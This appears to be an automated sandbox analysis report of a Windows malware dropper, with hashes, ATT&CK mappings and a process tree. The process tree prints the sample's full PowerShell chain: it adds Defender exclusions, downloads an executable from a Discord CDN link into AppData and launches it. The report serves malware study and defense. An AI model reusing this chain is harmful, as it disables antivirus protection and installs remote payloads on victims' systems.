4e6dce334a8b9fbf42231cad17af17b943de13cfbc1f55e9624cda0fbc4986cc

General

Target

ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe
Size

55KB
MD5

ea636008805a0ef9e5147b5bd2d1aa94
SHA1

f15c13f68e9dcd774b9fae8850d828510d64f9c1
SHA256

4e6dce334a8b9fbf42231cad17af17b943de13cfbc1f55e9624cda0fbc4986cc
SHA512

6502a4414554730aa19f4987c28c68bd00f9c2e4e2f2f506a81a06291a12bba28abfceb9a40742e87745f69db63ede360b027f4265bba6c627dc0c9ee2b76801
SSDEEP

1536:hxV96b1u6/f4h5TLoPs2Ldd5l6shjOUh:h6Foh5TLoPs2Lb6sZT

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/878081249296674846/892398462266671104/WindowsUpdater.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	536	powershell.exe
4	536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
536	powershell.exe
936	powershell.exe
2196	powershell.exe
2660	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2196	powershell.exe
2660	powershell.exe
536	powershell.exe
936	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 2644	2748	ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe	30
PID 2748 wrote to memory of 2644	2748	ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe	30
PID 2748 wrote to memory of 2644	2748	ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe	30
PID 2644 wrote to memory of 2196	2644	cmd.exe	32
PID 2644 wrote to memory of 2196	2644	cmd.exe	32
PID 2644 wrote to memory of 2196	2644	cmd.exe	32
PID 2644 wrote to memory of 2660	2644	cmd.exe	33
PID 2644 wrote to memory of 2660	2644	cmd.exe	33
PID 2644 wrote to memory of 2660	2644	cmd.exe	33
PID 2644 wrote to memory of 536	2644	cmd.exe	34
PID 2644 wrote to memory of 536	2644	cmd.exe	34
PID 2644 wrote to memory of 536	2644	cmd.exe	34
PID 2644 wrote to memory of 936	2644	cmd.exe	35
PID 2644 wrote to memory of 936	2644	cmd.exe	35
PID 2644 wrote to memory of 936	2644	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ea636008805a0ef9e5147b5bd2d1aa94_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/878081249296674846/892398462266671104/WindowsUpdater.exe', (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe')) & powershell Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe') & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/878081249296674846/892398462266671104/WindowsUpdater.exe', (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe'))
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'WindowsUpdater.exe')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c6da1316d5088e02033fdbbd12b1ba2c

SHA1
cc6a571affc97c8a8e72bdb487ce0282af3b3caa

SHA256
132eca3289f3055b0b5e8719e02700af303c5861e8ebe1915bc5fc64a983a669

SHA512
54b917c29ad5801c6498c673c98b6498ad9dc239c280c2e37835594e578368de1a0cf5124a33b42e7b20284323d0409feed42e5ca00b6423934dcab94afc1445

Download Submit
memory/2196-7-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2196-8-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2660-14-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2660-15-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2748-0-0x000007FEF5233000-0x000007FEF5234000-memory.dmp

Filesize
4KB

Download
memory/2748-1-0x0000000000370000-0x0000000000384000-memory.dmp

Filesize
80KB

Download
memory/2748-2-0x000007FEF5230000-0x000007FEF5C1C000-memory.dmp

Filesize
9.9MB

Download

Analysis

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